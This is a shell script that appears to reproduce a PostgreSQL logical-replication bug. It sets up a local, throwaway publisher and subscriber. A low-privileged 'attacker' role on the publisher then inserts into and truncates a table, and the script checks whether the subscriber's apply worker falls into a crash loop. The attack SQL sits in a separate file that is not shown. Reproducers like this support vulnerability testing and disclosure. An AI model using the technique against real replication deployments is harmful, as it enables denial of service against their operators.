#!/bin/sh # Usage: sh reproduce.sh # Creates a throwaway publisher and subscriber in a new temporary directory # (Unix sockets only, no TCP), runs the steps, stops both and removes the # directory. Exits 1 if the subscriber crashed, 0 if it did not. set -u PREFIX=${1:?usage: sh reproduce.sh } HERE=$(cd "$(dirname "$0")" && pwd) f() { if [ -f "$HERE/$1" ]; then echo "$HERE/$1"; else echo "$HERE/$1.txt"; fi; } T=$(mktemp -d "${TMPDIR:-/tmp}/pgtrunc.XXXXXX") || exit 2 cleanup() { "$PREFIX/bin/pg_ctl" -D "$T/sub" -m immediate stop >/dev/null 2>&1 "$PREFIX/bin/pg_ctl" -D "$T/pub" -m immediate stop >/dev/null 2>&1 rm -rf "$T" } trap cleanup EXIT for n in pub sub; do "$PREFIX/bin/initdb" -D "$T/$n" -U postgres -A trust --no-sync >/dev/null || exit 2 done "$PREFIX/bin/pg_ctl" -D "$T/pub" -w -l "$T/pub.log" \ -o "-p 54601 -c wal_level=logical -c listen_addresses='' -c unix_socket_directories='$T'" start >/dev/null || exit 2 "$PREFIX/bin/pg_ctl" -D "$T/sub" -w -l "$T/sub.log" \ -o "-p 54602 -c listen_addresses='' -c unix_socket_directories='$T'" start >/dev/null || exit 2 PUB="$PREFIX/bin/psql -X -q -h $T -p 54601 -d postgres" SUB="$PREFIX/bin/psql -X -q -h $T -p 54602 -d postgres" : > "$T/tab_old.csv" $PUB -U postgres -f "$(f publisher_setup.sql)" || exit 2 $SUB -U postgres -v datafile="$T/tab_old.csv" \ -v pubconn="host=$T port=54601 dbname=postgres user=postgres" \ -f "$(f subscriber_setup.sql)" 2>&1 | grep -v "created replication slot" sleep 3 echo "== server: $("$PREFIX/bin/postgres" --version)" echo "== attacker (role app on the publisher): INSERT, then TRUNCATE tab" $PUB -U app -f "$(f attacker.sql)" || exit 2 sleep 8 echo "== subscriber log:" grep -E "TRAP: |terminated by signal|all server processes terminated|cannot truncate foreign table" "$T/sub.log" | head -6 if grep -q "ERROR: AddressSanitizer" "$T/sub.log"; then echo "== first sanitizer report in the subscriber log:" grep -m1 -A12 "ERROR: AddressSanitizer" "$T/sub.log" fi crashes=$(grep -c "terminated by signal" "$T/sub.log") echo "== apply worker crashes in 8 seconds: $crashes" echo "== subscriber answering queries now?" $SUB -U postgres -Atc "SELECT 'yes, rows in tab_live: ' || count(*) FROM tab_live" 2>&1 | head -2 if [ "$crashes" -gt 0 ]; then echo "RESULT: VULNERABLE (subscriber crash loop)" exit 1 fi echo "RESULT: not vulnerable (TRUNCATE rejected with an error, no crash)" exit 0